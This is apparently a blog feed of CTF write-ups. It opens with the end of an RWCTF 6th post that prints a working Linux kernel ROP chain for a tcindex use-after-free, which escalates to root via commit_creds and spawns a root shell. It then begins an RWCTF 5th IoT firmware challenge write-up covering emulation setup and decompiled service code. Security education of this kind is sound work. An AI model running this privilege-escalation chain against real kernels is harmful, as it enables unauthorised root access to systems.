<h2>rop chain</h2>
<p>Finally, to trigger tcindex’s enqueue with UAF again, a <a href="https://elixir.bootlin.com/linux/v6.1.72/source/net/sched/sch_dsmark.c#L237">dsmark</a> ancestor needs to be wrapped around it. By using <a href="https://elixir.bootlin.com/linux/v6.1.72/source/net/core/sock.c#L1209">SO_PRIORITY</a> to specify the priority, the final res can be reached. Referencing <a href="https://syst3mfailure.io/corjail/">corjail</a>’s rop, after privilege escalation, <code class="language-plaintext highlighter-rouge">find_task_by_vpid</code> can be used to find the task_struct and switch to a new fs_struct. However, attention needs to be paid to solve the <a href="https://elixir.bootlin.com/linux/v6.1.72/source/net/core/dev.c#L4216">rcu_read_lock_bh</a> in <code class="language-plaintext highlighter-rouge">__dev_queue_xmit</code>, to remove the corresponding BH and rcu_read_lock, and to reduce the preemption count by 1:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">kernel_offset</span> <span class="o">=</span> <span class="n">leaked_inet_rcu_free_ifa</span> <span class="o">-</span> <span class="mh">0xffffffff81e3b5d0</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
<span class="n">memset</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg</span><span class="p">));</span>
<span class="n">msg</span><span class="p">.</span><span class="n">mtype</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span><span class="p">)</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff81c77562</span><span class="p">;</span> <span class="c1">// enqueue: push rsi ; jmp qword ptr [rsi + 0x66]</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span> <span class="o">+</span> <span class="mi">32</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// stab</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span> <span class="o">+</span> <span class="mi">168</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// q.len</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span> <span class="o">+</span> <span class="mh">0x66</span><span class="p">)</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8112af1e</span><span class="p">;</span> <span class="c1">// pop rsp ; pop r15 ; ret</span>
<span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8108bbd8</span><span class="p">;</span> <span class="c1">// add rsp, 0xb0 ; jmp 0xffffffff82404c80</span>
<span class="n">rop</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span> <span class="o">*</span><span class="p">)(</span><span class="n">msg</span><span class="p">.</span><span class="n">mtext</span> <span class="o">+</span> <span class="mh">0xc0</span><span class="p">);</span>
<span class="c1">// rcu_read_lock_bh()</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff810b99e1</span><span class="p">;</span> <span class="c1">// pop rdi ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff81d435bd</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8103e8a8</span><span class="p">;</span> <span class="c1">// pop rsi ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mh">0x200</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff811941a0</span><span class="p">;</span> <span class="c1">// __local_bh_enable_ip(_THIS_IP_, SOFTIRQ_DISABLE_OFFSET)</span>
<span class="c1">// rcu_read_unlock()</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8120e350</span><span class="p">;</span> <span class="c1">// __rcu_read_unlock</span>
<span class="c1">// BUG: scheduling while atomic: poc/224/0x00000002</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff810b99e1</span><span class="p">;</span> <span class="c1">// pop rdi ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff811c2d20</span><span class="p">;</span> <span class="c1">// preempt_count_sub</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff810b99e1</span><span class="p">;</span> <span class="c1">// pop rdi ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff811bb740</span><span class="p">;</span> <span class="c1">// prepare_kernel_cred</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8108ef2b</span><span class="p">;</span> <span class="c1">// pop rcx ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff82068a2b</span><span class="p">;</span> <span class="c1">// mov rdi, rax ; rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff82404c80</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff811bb490</span><span class="p">;</span> <span class="c1">// commit_creds</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff810b99e1</span><span class="p">;</span> <span class="c1">// pop rdi ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff837b1f20</span><span class="p">;</span> <span class="c1">// &init_fs</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8144b900</span><span class="p">;</span> <span class="c1">// copy_fs_struct</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff811d9b0c</span><span class="p">;</span> <span class="c1">// push rax ; pop rbx ; jmp 0xffffffff82404c80</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff810b99e1</span><span class="p">;</span> <span class="c1">// pop rdi ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">getpid</span><span class="p">();</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff811b1e60</span><span class="p">;</span> <span class="c1">// find_task_by_vpid</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff8108ef2b</span><span class="p">;</span> <span class="c1">// pop rcx ; ret</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mh">0x828</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff810705fe</span><span class="p">;</span> <span class="c1">// add rax, rcx ; jmp 0xffffffff82404c80</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff816ac7a4</span><span class="p">;</span> <span class="c1">// mov qword ptr [rax], rbx ; add rsp, 0x10 ; xor eax, eax ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; jmp 0xffffffff82404c80</span>
<span class="n">rop</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">kernel_offset</span> <span class="o">+</span> <span class="mh">0xffffffff82201146</span><span class="p">;</span> <span class="c1">// swapgs_restore_regs_and_return_to_usermode first mov</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="o">&</span><span class="n">get_root_shell</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">usr_cs</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">usr_rflags</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">usr_rsp</span><span class="p">;</span>
<span class="o">*</span><span class="n">rop</span><span class="o">++</span> <span class="o">=</span> <span class="n">usr_ss</span><span class="p">;</span>
</code></pre></div></div>
<p>The final exploit code takes less than half a minute, with a success rate close to 100%. The complete exploit code can be seen at: <a href="https://github.com/Larryxi/rwctf-6th-riptc">https://github.com/Larryxi/rwctf-6th-riptc</a>.</p>
<p><img src="https://image.baidu.com/search/down?url=https://wx1.sinaimg.cn/large/ee2fecafly1hme1hqcdbqj20u01hbn71.jpg" alt="" /></p>
<h1>0x04 Conclusion</h1>
<p>In this competition, <a href="https://github.com/N1ghtu">@N1ghtu</a> managed to solve the challenge in just one day, and it was the only solution in this competition. This demonstrates his daily accumulation and strong output. Specifically, the solution used <a href="https://www.willsroot.io/2022/12/entrybleed.html">EntryBleed</a> to leak kernel addresses, combined with the features of elastic object pg_vec (which is a dynamically generated heap address array), perfectly solving the issue of 2-level reference. The heap content is fully <a href="https://vul.360.net/archives/391">user-controllable</a>, and the challenge was smoothly and effortlessly exploited.</p>
<p>Regarding elastic structures and primitives of offset 24 minus 1, there has been consideration of using the <a href="https://ptr-yudai.hatenablog.com/entry/2023/12/08/093606">Dirty Pagetable</a> method for exploitation, but there hasn’t been time to put it into practice yet. It seems that the journey of research and learning is still long. As the saying goes, “It’s hard to cook without rice”. I believe that vulnerability discovery and exploitation complement each other, and both essentially involve the system code hack, albeit from different perspectives. From the perspective of CTF competitions, there needs to be some balance and trade-off to provide a smoother experience for the participants. Looking forward to meeting you in our next <a href="https://www.realworldctf.com/">RWCTF</a> competition, thank you.</p>
Larryxi
0x00 Background One day, I came across the article Breaking the Code - Exploiting and Examining CVE-2023-1829 in cls_tcindex Classifier Vulnerability, which discusses the cause and exploitation of the CVE-2023-1829. The corresponding remediation is to remove the entire cls_tcindex.c file. The net/sched attack surface has been a hot topic on kctf/kernelCTF since last year, sparking widespread attention from the security community towards the security of the Linux kernel. Therefore, using the historical artifact tcindex as a starting point, I am looking for other potential security issues that may exist in this file. I dedicate this close-quarters combat experience to the ctfers of RWCTF, and hope you enjoy it.
RWCTF 5th ShellFind Write-up
2023-01-11T00:00:00+00:00
2023-01-11T00:00:00+00:00
https://larryxi.github.io/2023/01/11/rwctf-5th-shellfind-write-up
<h1>Background</h1>
<p>IoT security has attracted the attention of the security industry and security competitions in recent years. When the vulnerabilities we discover are fixed or hit by the official ahead of time, it may make us feel uncomfortable. Therefore, we must start from the unique attack surface to find vulnerabilities and attack paths. This challenge is to use a certain IoT device that the public is more concerned about to map out a certain non-Web network service as the overall background. Because mapping port is a relatively common vulnerability scenario for debugging vulnerabilities or remote configuration services, it is easy to be exploited by malicious attackers, resulting in the formation of botnets. Related references are as follows:</p>
<!-- more -->
<ul>
<li><a href="https://zu1k.com/posts/events/pinkbot/">从最近披露的Pink僵尸网络想到的</a></li>
<li><a href="https://blog.netlab.360.com/pinkbot/">一个藏在我们身边的巨型僵尸网络 Pink</a></li>
</ul>
<h1>Description</h1>
<p>The challenge type is <code class="language-plaintext highlighter-rouge">Pwn</code>, and the difficulty description is <code class="language-plaintext highlighter-rouge">difficulty:Normal</code>. The specific description is as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hello Hacker.
You don't know me, but I know you.
I want to play a game. Here's what happens if you lose.
The device you are watching is hooked into your Saturday and Sunday.
When the timer in the back goes off,
your curiosity will be permanently ripped open.
Think of it like a reverse bear trap.
Here, I'll show you.
There is only one UDP service to shell the device.
It's in the stomach of your cold firmware.
Look around Hacker. Know that I'm not lying.
Better hurry up.
Shell or out, make your choice.
</code></pre></div></div>
<p>You can directly run the challenge environment locally:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo docker run --name shellfind -d --privileged -p 4444/udp --rm 1arry/shellfind
</code></pre></div></div>
<p>For the challenge attachment, the original docker environment and the final exploit script, see: <a href="https://github.com/Larryxi/rwctf-5th-shellfind">https://github.com/Larryxi/rwctf-5th-shellfind</a>. Before going deep into the idea of solving the problem, interested ctfers can reverse the firmware to find the target binary, try to exploit the vulnerability within 3 minutes (including 1 minute of environment startup), and obtain an interactive shell.</p>
<h1>Environment setup</h1>
<p>The challenge only gives the relevant firmware, which can be easily unpacked by using binwalk. To attack a certain network service, you must know which services the device will start by default. The one-and-done solution is to emulate the firmware. You can search and refer to the more common firmware emulation method:</p>
<ul>
<li><a href="http://blog.nsfocus.net/qemu/">物联网设备的几种固件仿真方式</a></li>
<li><a href="https://www.freebuf.com/articles/endpoint/339782.html">物联网终端安全入门与实践之玩转物联网固件(中)</a></li>
<li><a href="https://mp.weixin.qq.com/s/Q2gXMUhaaTvOsFm-TQEjeA">智能设备固件常用仿真方式</a></li>
</ul>
<p>Generally, they are based on qemu. I use <a href="https://github.com/pr0v3rbs/FirmAE">FirmAE</a>, but the specific environment is not given in the challenge description, because some additional binary in the environment will simplify the way of exploitation. For example, FirmAE will add full-featured busybox, gdbserver and other binaries in the process of building qemu-image:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"----Setting up FIRMADYNE----"</span>
<span class="k">for </span>BINARY_NAME <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="nv">BINARIES</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span>
<span class="k">do
</span><span class="nv">BINARY_PATH</span><span class="o">=</span><span class="sb">`</span>get_binary <span class="k">${</span><span class="nv">BINARY_NAME</span><span class="k">}</span> <span class="k">${</span><span class="nv">ARCH</span><span class="k">}</span><span class="sb">`</span>
<span class="nb">cp</span> <span class="s2">"</span><span class="k">${</span><span class="nv">BINARY_PATH</span><span class="k">}</span><span class="s2">"</span> <span class="s2">"</span><span class="k">${</span><span class="nv">IMAGE_DIR</span><span class="k">}</span><span class="s2">/firmadyne/</span><span class="k">${</span><span class="nv">BINARY_NAME</span><span class="k">}</span><span class="s2">"</span>
<span class="nb">chmod </span>a+x <span class="s2">"</span><span class="k">${</span><span class="nv">IMAGE_DIR</span><span class="k">}</span><span class="s2">/firmadyne/</span><span class="k">${</span><span class="nv">BINARY_NAME</span><span class="k">}</span><span class="s2">"</span>
<span class="k">done</span>
</code></pre></div></div>
<p>I used <a href="https://github.com/firmadyne/firmadyne/">firmadyne</a> to emulate the firmware at first, but there is no way to infer the network information of the device from the startup process of the firmware. You can also manually build the device network by referring to the following article :</p>
<ul>
<li><a href="https://segmentfault.com/a/1190000009251098?utm_source=sf-similar-article">Linux虚拟网络设备之veth</a></li>
<li><a href="https://segmentfault.com/a/1190000009249039">Linux虚拟网络设备之tun/tap</a></li>
<li><a href="https://segmentfault.com/a/1190000009491002?utm_source=sf-similar-article">Linux虚拟网络设备之bridge(桥)</a></li>
<li><a href="https://gist.github.com/extremecoders-re/e8fd8a67a515fee0c873dcafc81d811c">Setting up Qemu with a tap interface</a></li>
</ul>
<p>Obviously, FirmAE can successfully infer the network environment and use tap to emulate network devices, but the host is not added to the bridge with tap, which created the restriction that the challenge doesn’t allow outbound connection.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">TAPDEV_0</span><span class="o">=</span>tap<span class="k">${</span><span class="nv">IID</span><span class="k">}</span>_0
<span class="nv">HOSTNETDEV_0</span><span class="o">=</span><span class="k">${</span><span class="nv">TAPDEV_0</span><span class="k">}</span>
<span class="nb">echo</span> <span class="s2">"Creating TAP device </span><span class="k">${</span><span class="nv">TAPDEV_0</span><span class="k">}</span><span class="s2">..."</span>
<span class="nb">sudo </span>tunctl <span class="nt">-t</span> <span class="k">${</span><span class="nv">TAPDEV_0</span><span class="k">}</span> <span class="nt">-u</span> <span class="k">${</span><span class="nv">USER</span><span class="k">}</span>
<span class="nb">echo</span> <span class="s2">"Bringing up TAP device..."</span>
<span class="nb">sudo </span>ip <span class="nb">link set</span> <span class="k">${</span><span class="nv">HOSTNETDEV_0</span><span class="k">}</span> up
<span class="nb">sudo </span>ip addr add 192.168.0.2/24 dev <span class="k">${</span><span class="nv">HOSTNETDEV_0</span><span class="k">}</span>
<span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"Starting emulation of firmware... "</span>
<span class="k">${</span><span class="nv">QEMU</span><span class="k">}</span> <span class="k">${</span><span class="nv">QEMU_BOOT</span><span class="k">}</span> <span class="nt">-m</span> 1024 <span class="nt">-M</span> <span class="k">${</span><span class="nv">QEMU_MACHINE</span><span class="k">}</span> <span class="nt">-kernel</span> <span class="k">${</span><span class="nv">KERNEL</span><span class="k">}</span> <span class="se">\</span>
<span class="nt">-drive</span> <span class="k">if</span><span class="o">=</span>ide,format<span class="o">=</span>raw,file<span class="o">=</span><span class="k">${</span><span class="nv">IMAGE</span><span class="k">}</span> <span class="nt">-append</span> <span class="s2">"root=</span><span class="k">${</span><span class="nv">QEMU_ROOTFS</span><span class="k">}</span><span class="s2"> console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 FIRMAE_NET=</span><span class="k">${</span><span class="nv">FIRMAE_NET</span><span class="k">}</span><span class="s2"> FIRMAE_NVRAM=</span><span class="k">${</span><span class="nv">FIRMAE_NVRAM</span><span class="k">}</span><span class="s2"> FIRMAE_KERNEL=</span><span class="k">${</span><span class="nv">FIRMAE_KERNEL</span><span class="k">}</span><span class="s2"> FIRMAE_ETC=</span><span class="k">${</span><span class="nv">FIRMAE_ETC</span><span class="k">}</span><span class="s2"> </span><span class="k">${</span><span class="nv">QEMU_DEBUG</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">-serial</span> file:<span class="k">${</span><span class="nv">WORK_DIR</span><span class="k">}</span>/qemu.final.serial.log <span class="se">\</span>
<span class="nt">-serial</span> unix:/tmp/qemu.<span class="k">${</span><span class="nv">IID</span><span class="k">}</span>.S1,server,nowait <span class="se">\</span>
<span class="nt">-monitor</span> unix:/tmp/qemu.<span class="k">${</span><span class="nv">IID</span><span class="k">}</span>,server,nowait <span class="se">\</span>
<span class="nt">-display</span> none <span class="se">\</span>
<span class="nt">-device</span> e1000,netdev<span class="o">=</span>net0 <span class="nt">-netdev</span> tap,id<span class="o">=</span>net0,ifname<span class="o">=</span><span class="k">${</span><span class="nv">TAPDEV_0</span><span class="k">}</span>,script<span class="o">=</span>no <span class="nt">-device</span> e1000,netdev<span class="o">=</span>net1 <span class="nt">-netdev</span> socket,id<span class="o">=</span>net1,listen<span class="o">=</span>:2001 <span class="nt">-device</span> e1000,netdev<span class="o">=</span>net2 <span class="nt">-netdev</span> socket,id<span class="o">=</span>net2,listen<span class="o">=</span>:2002 <span class="nt">-device</span> e1000,netdev<span class="o">=</span>net3 <span class="nt">-netdev</span> socket,id<span class="o">=</span>net3,listen<span class="o">=</span>:2003 | <span class="nb">true
echo</span> <span class="s2">"Bringing down TAP device..."</span>
<span class="nb">sudo </span>ip <span class="nb">link set</span> <span class="k">${</span><span class="nv">TAPDEV_0</span><span class="k">}</span> down
<span class="nb">echo</span> <span class="s2">"Deleting TAP device </span><span class="k">${</span><span class="nv">TAPDEV_0</span><span class="k">}</span><span class="s2">..."</span>
<span class="nb">sudo </span>tunctl <span class="nt">-d</span> <span class="k">${</span><span class="nv">TAPDEV_0</span><span class="k">}</span>
<span class="nb">echo</span> <span class="s2">"Done!"</span>
</code></pre></div></div>
<h1>Root cause</h1>
<p>The challenge does not specify which port corresponds to the target service, but after emulating the firmware, we could exclude the 80 tcp service firstly, and the rest work is reverse engineering and positioning.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># /firmadyne/busybox netstat -lnp
/firmadyne/busybox netstat -lnp
netstat: showing only processes with your user ID
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 :::31338 :::* LISTEN 911/busybox
tcp 0 0 :::80 :::* LISTEN 761/httpd
udp 0 0 0.0.0.0:62976 0.0.0.0:* 889/ddp
udp 0 0 0.0.0.0:62720 0.0.0.0:* 765/ipfind
Active UNIX domain sockets (only servers)
Proto RefCnt Flags Type State I-Node PID/Program name Path
</code></pre></div></div>
<p>When reversing the <code class="language-plaintext highlighter-rouge">ipfind</code> binary, I found that the overall logic is simple. After the UDP service receives the data, <code class="language-plaintext highlighter-rouge">sub_40172C</code> or <code class="language-plaintext highlighter-rouge">sub_4013F4</code> function is called according to the data structure, and you could convert the v15 into a character array, which looks better:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">v6</span> <span class="o">=</span> <span class="n">server_sockfd</span><span class="p">;</span>
<span class="n">v14</span><span class="p">.</span><span class="n">__fds_bits</span><span class="p">[(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">server_sockfd</span> <span class="o">>></span> <span class="mi">5</span><span class="p">]</span> <span class="o">|=</span> <span class="mi">1</span> <span class="o"><<</span> <span class="n">server_sockfd</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span> <span class="n">select</span><span class="p">(</span><span class="n">v6</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="o">&</span><span class="n">v14</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">>=</span> <span class="mi">0</span> <span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="p">((</span><span class="n">v14</span><span class="p">.</span><span class="n">__fds_bits</span><span class="p">[(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">server_sockfd</span> <span class="o">>></span> <span class="mi">5</span><span class="p">]</span> <span class="o">>></span> <span class="n">server_sockfd</span><span class="p">)</span> <span class="o">&</span> <span class="mi">1</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
<span class="p">{</span>
<span class="n">v11</span> <span class="o">=</span> <span class="mi">16</span><span class="p">;</span>
<span class="n">memset</span><span class="p">(</span><span class="n">v15</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">v15</span><span class="p">));</span>
<span class="n">recvfrom</span><span class="p">(</span><span class="n">server_sockfd</span><span class="p">,</span> <span class="n">v15</span><span class="p">,</span> <span class="mh">0x800u</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">client_addr</span><span class="p">,</span> <span class="n">addr_len</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o"><<</span> <span class="mi">24</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v15</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">|</span> <span class="p">((</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">&</span> <span class="mh">0xFF0000u</span><span class="p">)</span> <span class="o">>></span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="p">((</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">&</span> <span class="mh">0xFF00</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">);</span>
<span class="n">v7</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)((</span><span class="n">_byteswap_ushort</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">9</span><span class="p">])</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)((</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v15</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="o">|</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v15</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">))</span> <span class="o">>></span> <span class="mi">8</span><span class="p">));</span>
<span class="o">*</span><span class="p">(</span><span class="n">_WORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="n">v7</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">_WORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">11</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">_byteswap_ushort</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">v15</span><span class="p">[</span><span class="mi">11</span><span class="p">])</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">)</span> <span class="o">|</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)((</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v15</span><span class="p">[</span><span class="mi">12</span><span class="p">]</span> <span class="o">|</span> <span class="p">((</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">v15</span><span class="p">[</span><span class="mi">11</span><span class="p">]</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">))</span> <span class="o">>></span> <span class="mi">8</span><span class="p">);</span>
